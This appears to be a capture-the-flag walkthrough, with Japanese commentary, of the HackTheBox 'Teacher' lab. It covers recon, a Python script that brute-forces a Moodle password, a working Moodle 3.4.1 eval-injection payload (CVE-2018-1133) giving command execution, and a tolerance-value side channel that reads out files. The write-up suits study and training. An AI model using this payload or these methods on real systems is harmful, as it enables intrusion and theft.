nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.84.225
curl -sI http://10.129.84.225/moodle/

PORT   STATE SERVICE
80/tcp open  http

HTTP/1.1 303 See Other
Server: Apache/2.4.25 (Debian)
Location: http://teacher.htb/moodle

echo "10.129.84.225 teacher.htb" | sudo tee -a /etc/hosts

curl -s -L http://10.129.84.225/images/5.png

Hi Servicedesk,

I forgot the last charachter of my password. The only part I remembered is Th4C00lTheacha.

Could you guys figure out what the last charachter is, or just reset it?

Thanks,
Giovanni

import requests, string

base = "http://teacher.htb/moodle"
hint = "Th4C00lTheacha"
chars = "#!@$%^&*()_+-=" + string.ascii_letters + string.digits

for c in chars:
    pw = hint + c
    s = requests.Session()
    s.get(base + "/login/index.php", timeout=10)
    r = s.post(base + "/login/index.php",
               data={"anchor": "", "username": "Giovanni", "password": pw},
               timeout=10, allow_redirects=False)
    loc = r.headers.get("Location", "")
    # ログイン成功時のみ Location に "testsession=" が付与される
    if r.status_code in (302, 303) and "testsession=" in loc:
        print("FOUND:", pw)
        break

FOUND: Th4C00lTheacha#

Moodle 3.4.1 の questiontype.php (calculated型の問題) は、採点時に回答式を
PHPの eval() でそのまま評価している (CVE-2018-1133)。Giovanniはteacherロールを
持つため、新しいクイズ・計算問題を自由に作成できる。回答式にバッククォートを
仕込んで式の外へ脱出させ、GETパラメータの値をそのままシェルコマンドとして
実行させることができる:

  回答式: /*{a*/`$_GET[0]`;//{x}}

質問編集後に表示される「データセット項目」ページへ
  ?...&0=<実行したいコマンド>
というGETパラメータを付けてアクセスすると、計算問題の採点ロジックが
`<コマンド>`をバッククォートで実行し、結果を式の評価に使おうとする
(結果自体が構文エラーを起こしても、その時点でコマンドは既に実行済み)。

# 1) ログイン (Phase2で確定したパスワード)
# 2) コースを編集モードに入れ、新規クイズを追加
# 3) クイズに "calculated" 型の問題を追加し、回答式(answer[0])に
#    /*{a*/`$_GET[0]`;//{x}}  を設定して保存

標準的な「コマンド結果をHTTP POSTでKaliへ外部送出する」方式は、
HTBのこのラボ環境ではegressフィルタによりwww-dataからの外向きTCP接続が
一律ブロックされており(ICMPは通る)、永久にタイムアウトしてしまう。

代わりに、Moodleが計算問題の「正答プレビュー」欄に表示する
Min/Max許容範囲 (tolerance=1%) を利用する、ネットワーク非依存の
数値サイドチャネルを使う:

  1. 読みたい値を printf '%d' "'X" のように1文字ずつASCIIコード化させる
     (bashの ' 付き文字→数値変換)
  2. そのコマンドをバッククォート注入経由で実行させる
  3. レスポンス本文中の "Min: x --- Max: y" を正規表現で読み取り、
     (x+y)/2 を四捨五入すれば元のASCIIコードが復元できる
  4. 文字列全体は、ファイルサイズを wc -c で調べた後、1文字ずつ
     cut -c で切り出し printf '%d' でASCIIコード化し、上記手順で
     1文字ずつ読み出す

この方式は外向き接続を一切使わないため、egressフィルタの影響を受けない。